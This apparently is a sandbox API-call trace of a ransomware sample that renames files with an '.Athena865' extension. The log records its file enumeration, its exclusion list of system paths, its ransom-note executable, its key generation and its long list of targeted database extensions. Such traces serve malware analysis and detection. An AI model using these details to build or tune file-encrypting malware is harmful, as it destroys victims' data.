[0141.187] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.188] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x370, lpName=0x0) returned 0x17c [0141.189] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x370) returned 0x100000 [0141.190] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.191] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.191] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.192] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0141.197] CloseHandle (hObject=0x17c) returned 1 [0141.197] CloseHandle (hObject=0x154) returned 1 [0141.197] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.197] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.197] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.198] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf111ac0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcf111ac0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0141.198] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0141.198] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x8d68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HVAC.VSL", cAlternateFileName="")) returned 1 [0141.198] lstrcmpiW (lpString1="HVAC.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.198] lstrcmpiW (lpString1="HVAC.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.198] lstrcmpiW (lpString1="HVAC.VSL", lpString2=".") returned 1 [0141.198] lstrcmpiW (lpString1="HVAC.VSL", lpString2="..") returned 1 [0141.198] lstrcmpiW (lpString1="HVAC.VSL", lpString2="windows") returned -1 [0141.198] lstrcmpiW (lpString1="HVAC.VSL", lpString2="bootmgr") returned 1 [0141.198] lstrcmpiW (lpString1="HVAC.VSL", lpString2="temp") returned -1 [0141.198] lstrcmpiW (lpString1="HVAC.VSL", lpString2="pagefile.sys") returned -1 [0141.198] lstrcmpiW (lpString1="HVAC.VSL", lpString2="boot") returned 1 [0141.198] lstrcmpiW (lpString1="HVAC.VSL", lpString2="ids.txt") returned -1 [0141.198] lstrcmpiW (lpString1="HVAC.VSL", lpString2="ntuser.dat") returned -1 [0141.198] lstrcmpiW (lpString1="HVAC.VSL", lpString2="perflogs") returned -1 [0141.198] lstrcmpiW (lpString1="HVAC.VSL", lpString2="MSBuild") returned -1 [0141.198] lstrlenW (lpString="HVAC.VSL") returned 8 [0141.198] lstrcpyW (in: lpString1=0x241e8a8, lpString2="HVAC.VSL" | out: lpString1="HVAC.VSL") returned="HVAC.VSL" [0141.198] lstrlenW (lpString="HVAC.VSL") returned 8 [0141.198] lstrlenW (lpString="Athena865") returned 9 [0141.198] lstrlenW (lpString=".dll") returned 4 [0141.198] lstrcmpiW (lpString1="HVAC.VSL", lpString2=".dll") returned 1 [0141.198] lstrlenW (lpString=".lnk") returned 4 [0141.198] lstrcmpiW (lpString1="HVAC.VSL", lpString2=".lnk") returned 1 [0141.198] lstrlenW (lpString=".ini") returned 4 [0141.198] lstrcmpiW (lpString1="HVAC.VSL", lpString2=".ini") returned 1 [0141.198] lstrlenW (lpString=".sys") returned 4 [0141.199] lstrcmpiW (lpString1="HVAC.VSL", lpString2=".sys") returned 1 [0141.199] lstrlenW (lpString="HVAC.VSL") returned 8 [0141.199] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL.Athena865") returned 66 [0141.199] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl.athena865"), dwFlags=0x1) returned 1 [0141.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.201] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=36200) returned 1 [0141.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.201] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.202] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.202] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.202] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9070, lpName=0x0) returned 0x17c [0141.204] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9070) returned 0x100000 [0141.206] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.207] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.207] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.207] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.207] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.207] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.207] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.207] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.208] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0141.208] CloseHandle (hObject=0x17c) returned 1 [0141.208] CloseHandle (hObject=0x154) returned 1 [0141.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.209] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ede00, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7ede00, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x77f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HVACDIFF.VRD", cAlternateFileName="")) returned 1 [0141.209] lstrcmpiW (lpString1="HVACDIFF.VRD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.209] lstrcmpiW (lpString1="HVACDIFF.VRD", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.209] lstrcmpiW (lpString1="HVACDIFF.VRD", lpString2=".") returned 1 [0141.209] lstrcmpiW (lpString1="HVACDIFF.VRD", lpString2="..") returned 1 [0141.209] lstrcmpiW (lpString1="HVACDIFF.VRD", lpString2="windows") returned -1 [0141.209] lstrcmpiW (lpString1="HVACDIFF.VRD", lpString2="bootmgr") returned 1 [0141.209] lstrcmpiW (lpString1="HVACDIFF.VRD", lpString2="temp") returned -1 [0141.209] lstrcmpiW (lpString1="HVACDIFF.VRD", lpString2="pagefile.sys") returned -1 [0141.209] lstrcmpiW (lpString1="HVACDIFF.VRD", lpString2="boot") returned 1 [0141.209] lstrcmpiW (lpString1="HVACDIFF.VRD", lpString2="ids.txt") returned -1 [0141.209] lstrcmpiW (lpString1="HVACDIFF.VRD", lpString2="ntuser.dat") returned -1 [0141.209] lstrcmpiW (lpString1="HVACDIFF.VRD", lpString2="perflogs") returned -1 [0141.209] lstrcmpiW (lpString1="HVACDIFF.VRD", lpString2="MSBuild") returned -1 [0141.209] lstrlenW (lpString="HVACDIFF.VRD") returned 12 [0141.209] lstrcpyW (in: lpString1=0x241e8a8, lpString2="HVACDIFF.VRD" | out: lpString1="HVACDIFF.VRD") returned="HVACDIFF.VRD" [0141.209] lstrlenW (lpString="HVACDIFF.VRD") returned 12 [0141.209] lstrlenW (lpString="Athena865") returned 9 [0141.209] lstrcmpiW (lpString1="CDIFF.VRD", lpString2="Athena865") returned 1 [0141.209] lstrlenW (lpString=".dll") returned 4 [0141.209] lstrcmpiW (lpString1="HVACDIFF.VRD", lpString2=".dll") returned 1 [0141.209] lstrlenW (lpString=".lnk") returned 4 [0141.210] lstrcmpiW (lpString1="HVACDIFF.VRD", lpString2=".lnk") returned 1 [0141.210] lstrlenW (lpString=".ini") returned 4 [0141.210] lstrcmpiW (lpString1="HVACDIFF.VRD", lpString2=".ini") returned 1 [0141.210] lstrlenW (lpString=".sys") returned 4 [0141.210] lstrcmpiW (lpString1="HVACDIFF.VRD", lpString2=".sys") returned 1 [0141.210] lstrlenW (lpString="HVACDIFF.VRD") returned 12 [0141.210] lstrlenW (lpString="bak") returned 3 [0141.210] lstrcmpiW (lpString1="VRD", lpString2="bak") returned 1 [0141.210] lstrlenW (lpString="ba_") returned 3 [0141.210] lstrcmpiW (lpString1="VRD", lpString2="ba_") returned 1 [0141.210] lstrlenW (lpString="dbb") returned 3 [0141.210] lstrcmpiW (lpString1="VRD", lpString2="dbb") returned 1 [0141.210] lstrlenW (lpString="vmdk") returned 4 [0141.210] lstrcmpiW (lpString1=".VRD", lpString2="vmdk") returned -1 [0141.210] lstrlenW (lpString="rar") returned 3 [0141.210] lstrcmpiW (lpString1="VRD", lpString2="rar") returned 1 [0141.210] lstrlenW (lpString="zip") returned 3 [0141.210] lstrcmpiW (lpString1="VRD", lpString2="zip") returned -1 [0141.210] lstrlenW (lpString="tgz") returned 3 [0141.210] lstrcmpiW (lpString1="VRD", lpString2="tgz") returned 1 [0141.210] lstrlenW (lpString="vbox") returned 4 [0141.210] lstrcmpiW (lpString1=".VRD", lpString2="vbox") returned -1 [0141.210] lstrlenW (lpString="vdi") returned 3 [0141.210] lstrcmpiW (lpString1="VRD", lpString2="vdi") returned 1 [0141.210] lstrlenW (lpString="vhd") returned 3 [0141.210] lstrcmpiW (lpString1="VRD", lpString2="vhd") returned 1 [0141.210] lstrlenW (lpString="vhdx") returned 4 [0141.210] lstrcmpiW (lpString1=".VRD", lpString2="vhdx") returned -1 [0141.210] lstrlenW (lpString="avhd") returned 4 [0141.210] lstrcmpiW (lpString1=".VRD", lpString2="avhd") returned -1 [0141.211] lstrlenW (lpString="db") returned 2 [0141.211] lstrcmpiW (lpString1="RD", lpString2="db") returned 1 [0141.211] lstrlenW (lpString="db2") returned 3 [0141.211] lstrcmpiW (lpString1="VRD", lpString2="db2") returned 1 [0141.211] lstrlenW (lpString="db3") returned 3 [0141.211] lstrcmpiW (lpString1="VRD", lpString2="db3") returned 1 [0141.211] lstrlenW (lpString="dbf") returned 3 [0141.211] lstrcmpiW (lpString1="VRD", lpString2="dbf") returned 1 [0141.211] lstrlenW (lpString="mdf") returned 3 [0141.211] lstrcmpiW (lpString1="VRD", lpString2="mdf") returned 1 [0141.211] lstrlenW (lpString="mdb") returned 3 [0141.211] lstrcmpiW (lpString1="VRD", lpString2="mdb") returned 1 [0141.211] lstrlenW (lpString="sql") returned 3 [0141.211] lstrcmpiW (lpString1="VRD", lpString2="sql") returned 1 [0141.211] lstrlenW (lpString="sqlite") returned 6 [0141.211] lstrcmpiW (lpString1="FF.VRD", lpString2="sqlite") returned -1 [0141.211] lstrlenW (lpString="sqlite3") returned 7 [0141.211] lstrcmpiW (lpString1="IFF.VRD", lpString2="sqlite3") returned -1 [0141.211] lstrlenW (lpString="sqlitedb") returned 8 [0141.211] lstrcmpiW (lpString1="DIFF.VRD", lpString2="sqlitedb") returned -1 [0141.211] lstrlenW (lpString="xml") returned 3 [0141.211] lstrcmpiW (lpString1="VRD", lpString2="xml") returned -1 [0141.211] lstrlenW (lpString="$er") returned 3 [0141.211] lstrcmpiW (lpString1="VRD", lpString2="$er") returned 1 [0141.211] lstrlenW (lpString="4dd") returned 3 [0141.211] lstrcmpiW (lpString1="VRD", lpString2="4dd") returned 1 [0141.211] lstrlenW (lpString="4dl") returned 3 [0141.211] lstrcmpiW (lpString1="VRD", lpString2="4dl") returned 1 [0141.211] lstrlenW (lpString="^^^") returned 3 [0141.211] lstrcmpiW (lpString1="VRD", lpString2="^^^") returned 1 [0141.212] lstrlenW (lpString="abs") returned 3 [0141.212] lstrcmpiW (lpString1="VRD", lpString2="abs") returned 1 [0141.212] lstrlenW (lpString="abx") returned 3 [0141.212] lstrcmpiW (lpString1="VRD", lpString2="abx") returned 1 [0141.212] lstrlenW (lpString="accdb") returned 5 [0141.212] lstrcmpiW (lpString1="F.VRD", lpString2="accdb") returned 1 [0141.212] lstrlenW (lpString="accdc") returned 5 [0141.212] lstrcmpiW (lpString1="F.VRD", lpString2="accdc") returned 1 [0141.212] lstrlenW (lpString="accde") returned 5 [0141.212] lstrcmpiW (lpString1="F.VRD", lpString2="accde") returned 1 [0141.212] lstrlenW (lpString="accdr") returned 5 [0141.212] lstrcmpiW (lpString1="F.VRD", lpString2="accdr") returned 1 [0141.212] lstrlenW (lpString="accdt") returned 5 [0141.212] lstrcmpiW (lpString1="F.VRD", lpString2="accdt") returned 1 [0141.212] lstrlenW (lpString="accdw") returned 5 [0141.212] lstrcmpiW (lpString1="F.VRD", lpString2="accdw") returned 1 [0141.212] lstrlenW (lpString="accft") returned 5 [0141.212] lstrcmpiW (lpString1="F.VRD", lpString2="accft") returned 1 [0141.212] lstrlenW (lpString="adb") returned 3 [0141.212] lstrcmpiW (lpString1="VRD", lpString2="adb") returned 1 [0141.212] lstrlenW (lpString="adb") returned 3 [0141.212] lstrcmpiW (lpString1="VRD", lpString2="adb") returned 1 [0141.212] lstrlenW (lpString="ade") returned 3 [0141.212] lstrcmpiW (lpString1="VRD", lpString2="ade") returned 1 [0141.212] lstrlenW (lpString="adf") returned 3 [0141.212] lstrcmpiW (lpString1="VRD", lpString2="adf") returned 1 [0141.212] lstrlenW (lpString="adn") returned 3 [0141.212] lstrcmpiW (lpString1="VRD", lpString2="adn") returned 1 [0141.212] lstrlenW (lpString="adp") returned 3 [0141.212] lstrcmpiW (lpString1="VRD", lpString2="adp") returned 1 [0141.212] lstrlenW (lpString="alf") returned 3 [0141.213] lstrcmpiW (lpString1="VRD", lpString2="alf") returned 1 [0141.213] lstrlenW (lpString="ask") returned 3 [0141.213] lstrcmpiW (lpString1="VRD", lpString2="ask") returned 1 [0141.213] lstrlenW (lpString="btr") returned 3 [0141.213] lstrcmpiW (lpString1="VRD", lpString2="btr") returned 1 [0141.213] lstrlenW (lpString="cat") returned 3 [0141.213] lstrcmpiW (lpString1="VRD", lpString2="cat") returned 1 [0141.213] lstrlenW (lpString="cdb") returned 3 [0141.213] lstrcmpiW (lpString1="VRD", lpString2="cdb") returned 1 [0141.213] lstrlenW (lpString="ckp") returned 3 [0141.213] lstrcmpiW (lpString1="VRD", lpString2="ckp") returned 1 [0141.213] lstrlenW (lpString="cma") returned 3 [0141.213] lstrcmpiW (lpString1="VRD", lpString2="cma") returned 1 [0141.213] lstrlenW (lpString="cpd") returned 3 [0141.213] lstrcmpiW (lpString1="VRD", lpString2="cpd") returned 1 [0141.213] lstrlenW (lpString="dacpac") returned 6 [0141.213] lstrcmpiW (lpString1="FF.VRD", lpString2="dacpac") returned 1 [0141.213] lstrlenW (lpString="dad") returned 3 [0141.213] lstrcmpiW (lpString1="VRD", lpString2="dad") returned 1 [0141.213] lstrlenW (lpString="dadiagrams") returned 10 [0141.213] lstrcmpiW (lpString1="ACDIFF.VRD", lpString2="dadiagrams") returned -1 [0141.213] lstrlenW (lpString="daschema") returned 8 [0141.213] lstrcmpiW (lpString1="DIFF.VRD", lpString2="daschema") returned 1 [0141.213] lstrlenW (lpString="db-journal") returned 10 [0141.213] lstrcmpiW (lpString1="ACDIFF.VRD", lpString2="db-journal") returned -1 [0141.213] lstrlenW (lpString="db-shm") returned 6 [0141.213] lstrcmpiW (lpString1="FF.VRD", lpString2="db-shm") returned 1 [0141.214] lstrlenW (lpString="db-wal") returned 6 [0141.214] lstrcmpiW (lpString1="FF.VRD", lpString2="db-wal") returned 1 [0141.214] lstrlenW (lpString="dbc") returned 3 [0141.214] lstrcmpiW (lpString1="VRD", lpString2="dbc") returned 1 [0141.214] lstrlenW (lpString="dbs") returned 3 [0141.214] lstrcmpiW (lpString1="VRD", lpString2="dbs") returned 1 [0141.214] lstrlenW (lpString="dbt") returned 3 [0141.214] lstrcmpiW (lpString1="VRD", lpString2="dbt") returned 1 [0141.214] lstrlenW (lpString="dbv") returned 3 [0141.214] lstrcmpiW (lpString1="VRD", lpString2="dbv") returned 1 [0141.214] lstrlenW (lpString="dbx") returned 3 [0141.214] lstrcmpiW (lpString1="VRD", lpString2="dbx") returned 1 [0141.214] lstrlenW (lpString="dcb") returned 3 [0141.214] lstrcmpiW (lpString1="VRD", lpString2="dcb") returned 1 [0141.214] lstrlenW (lpString="dct") returned 3 [0141.214] lstrcmpiW (lpString1="VRD", lpString2="dct") returned 1 [0141.214] lstrlenW (lpString="dcx") returned 3 [0141.214] lstrcmpiW (lpString1="VRD", lpString2="dcx") returned 1 [0141.214] lstrlenW (lpString="ddl") returned 3 [0141.214] lstrcmpiW (lpString1="VRD", lpString2="ddl") returned 1 [0141.214] lstrlenW (lpString="dlis") returned 4 [0141.214] lstrcmpiW (lpString1=".VRD", lpString2="dlis") returned -1 [0141.214] lstrlenW (lpString="dp1") returned 3 [0141.214] lstrcmpiW (lpString1="VRD", lpString2="dp1") returned 1 [0141.214] lstrlenW (lpString="dqy") returned 3 [0141.214] lstrcmpiW (lpString1="VRD", lpString2="dqy") returned 1 [0141.214] lstrlenW (lpString="dsk") returned 3 [0141.214] lstrcmpiW (lpString1="VRD", lpString2="dsk") returned 1 [0141.215] lstrlenW (lpString="dsn") returned 3 [0141.215] lstrcmpiW (lpString1="VRD", lpString2="dsn") returned 1 [0141.215] lstrlenW (lpString="dtsx") returned 4 [0141.215] lstrcmpiW (lpString1=".VRD", lpString2="dtsx") returned -1 [0141.215] lstrlenW (lpString="dxl") returned 3 [0141.215] lstrcmpiW (lpString1="VRD", lpString2="dxl") returned 1 [0141.215] lstrlenW (lpString="eco") returned 3 [0141.215] lstrcmpiW (lpString1="VRD", lpString2="eco") returned 1 [0141.215] lstrlenW (lpString="ecx") returned 3 [0141.215] lstrcmpiW (lpString1="VRD", lpString2="ecx") returned 1 [0141.215] lstrlenW (lpString="edb") returned 3 [0141.215] lstrcmpiW (lpString1="VRD", lpString2="edb") returned 1 [0141.215] lstrlenW (lpString="epim") returned 4 [0141.215] lstrcmpiW (lpString1=".VRD", lpString2="epim") returned -1 [0141.215] lstrlenW (lpString="fcd") returned 3 [0141.215] lstrcmpiW (lpString1="VRD", lpString2="fcd") returned 1 [0141.215] lstrlenW (lpString="fdb") returned 3 [0141.215] lstrcmpiW (lpString1="VRD", lpString2="fdb") returned 1 [0141.215] lstrlenW (lpString="fic") returned 3 [0141.215] lstrcmpiW (lpString1="VRD", lpString2="fic") returned 1 [0141.215] lstrlenW (lpString="flexolibrary") returned 12 [0141.215] lstrlenW (lpString="fm5") returned 3 [0141.215] lstrcmpiW (lpString1="VRD", lpString2="fm5") returned 1 [0141.215] lstrlenW (lpString="fmp") returned 3 [0141.215] lstrcmpiW (lpString1="VRD", lpString2="fmp") returned 1 [0141.215] lstrlenW (lpString="fmp12") returned 5 [0141.215] lstrcmpiW (lpString1="F.VRD", lpString2="fmp12") returned -1 [0141.215] lstrlenW (lpString="fmpsl") returned 5 [0141.215] lstrcmpiW (lpString1="F.VRD", lpString2="fmpsl") returned -1 [0141.216] lstrlenW (lpString="fol") returned 3 [0141.216] lstrcmpiW (lpString1="VRD", lpString2="fol") returned 1 [0141.216] lstrlenW (lpString="fp3") returned 3 [0141.216] lstrcmpiW (lpString1="VRD", lpString2="fp3") returned 1 [0141.216] lstrlenW (lpString="fp4") returned 3 [0141.216] lstrcmpiW (lpString1="VRD", lpString2="fp4") returned 1 [0141.216] lstrlenW (lpString="fp5") returned 3 [0141.216] lstrcmpiW (lpString1="VRD", lpString2="fp5") returned 1 [0141.216] lstrlenW (lpString="fp7") returned 3 [0141.216] lstrcmpiW (lpString1="VRD", lpString2="fp7") returned 1 [0141.216] lstrlenW (lpString="fpt") returned 3 [0141.216] lstrcmpiW (lpString1="VRD", lpString2="fpt") returned 1 [0141.216] lstrlenW (lpString="frm") returned 3 [0141.216] lstrcmpiW (lpString1="VRD", lpString2="frm") returned 1 [0141.216] lstrlenW (lpString="gdb") returned 3 [0141.216] lstrcmpiW (lpString1="VRD", lpString2="gdb") returned 1 [0141.216] lstrlenW (lpString="gdb") returned 3 [0141.216] lstrcmpiW (lpString1="VRD", lpString2="gdb") returned 1 [0141.216] lstrlenW (lpString="grdb") returned 4 [0141.216] lstrcmpiW (lpString1=".VRD", lpString2="grdb") returned -1 [0141.216] lstrlenW (lpString="gwi") returned 3 [0141.216] lstrcmpiW (lpString1="VRD", lpString2="gwi") returned 1 [0141.216] lstrlenW (lpString="hdb") returned 3 [0141.216] lstrcmpiW (lpString1="VRD", lpString2="hdb") returned 1 [0141.216] lstrlenW (lpString="his") returned 3 [0141.216] lstrcmpiW (lpString1="VRD", lpString2="his") returned 1 [0141.216] lstrlenW (lpString="ib") returned 2 [0141.216] lstrcmpiW (lpString1="RD", lpString2="ib") returned 1 [0141.216] lstrlenW (lpString="idb") returned 3 [0141.216] lstrcmpiW (lpString1="VRD", lpString2="idb") returned 1 [0141.217] lstrlenW (lpString="ihx") returned 3 [0141.217] lstrcmpiW (lpString1="VRD", lpString2="ihx") returned 1 [0141.217] lstrlenW (lpString="itdb") returned 4 [0141.217] lstrcmpiW (lpString1=".VRD", lpString2="itdb") returned -1 [0141.217] lstrlenW (lpString="itw") returned 3 [0141.217] lstrcmpiW (lpString1="VRD", lpString2="itw") returned 1 [0141.217] lstrlenW (lpString="jet") returned 3 [0141.217] lstrcmpiW (lpString1="VRD", lpString2="jet") returned 1 [0141.217] lstrlenW (lpString="jtx") returned 3 [0141.217] lstrcmpiW (lpString1="VRD", lpString2="jtx") returned 1 [0141.217] lstrlenW (lpString="kdb") returned 3 [0141.217] lstrcmpiW (lpString1="VRD", lpString2="kdb") returned 1 [0141.217] lstrlenW (lpString="kexi") returned 4 [0141.217] lstrcmpiW (lpString1=".VRD", lpString2="kexi") returned -1 [0141.217] lstrlenW (lpString="kexic") returned 5 [0141.217] lstrcmpiW (lpString1="F.VRD", lpString2="kexic") returned -1 [0141.217] lstrlenW (lpString="kexis") returned 5 [0141.217] lstrcmpiW (lpString1="F.VRD", lpString2="kexis") returned -1 [0141.217] lstrlenW (lpString="lgc") returned 3 [0141.217] lstrcmpiW (lpString1="VRD", lpString2="lgc") returned 1 [0141.217] lstrlenW (lpString="lwx") returned 3 [0141.217] lstrcmpiW (lpString1="VRD", lpString2="lwx") returned 1 [0141.217] lstrlenW (lpString="maf") returned 3 [0141.217] lstrcmpiW (lpString1="VRD", lpString2="maf") returned 1 [0141.217] lstrlenW (lpString="maq") returned 3 [0141.217] lstrcmpiW (lpString1="VRD", lpString2="maq") returned 1 [0141.217] lstrlenW (lpString="mar") returned 3 [0141.217] lstrcmpiW (lpString1="VRD", lpString2="mar") returned 1 [0141.217] lstrlenW (lpString="marshal") returned 7 [0141.217] lstrcmpiW (lpString1="IFF.VRD", lpString2="marshal") returned -1 [0141.218] lstrlenW (lpString="mas") returned 3 [0141.218] lstrcmpiW (lpString1="VRD", lpString2="mas") returned 1 [0141.218] lstrlenW (lpString="mav") returned 3 [0141.218] lstrcmpiW (lpString1="VRD", lpString2="mav") returned 1 [0141.218] lstrlenW (lpString="maw") returned 3 [0141.218] lstrcmpiW (lpString1="VRD", lpString2="maw") returned 1 [0141.218] lstrlenW (lpString="mdbhtml") returned 7 [0141.218] lstrcmpiW (lpString1="IFF.VRD", lpString2="mdbhtml") returned -1 [0141.218] lstrlenW (lpString="mdn") returned 3 [0141.218] lstrcmpiW (lpString1="VRD", lpString2="mdn") returned 1 [0141.218] lstrlenW (lpString="mdt") returned 3 [0141.218] lstrcmpiW (lpString1="VRD", lpString2="mdt") returned 1 [0141.218] lstrlenW (lpString="mfd") returned 3 [0141.218] lstrcmpiW (lpString1="VRD", lpString2="mfd") returned 1 [0141.218] lstrlenW (lpString="mpd") returned 3 [0141.218] lstrcmpiW (lpString1="VRD", lpString2="mpd") returned 1 [0141.218] lstrlenW (lpString="mrg") returned 3 [0141.218] lstrcmpiW (lpString1="VRD", lpString2="mrg") returned 1 [0141.218] lstrlenW (lpString="mud") returned 3 [0141.218] lstrcmpiW (lpString1="VRD", lpString2="mud") returned 1 [0141.218] lstrlenW (lpString="mwb") returned 3 [0141.218] lstrcmpiW (lpString1="VRD", lpString2="mwb") returned 1 [0141.218] lstrlenW (lpString="myd") returned 3 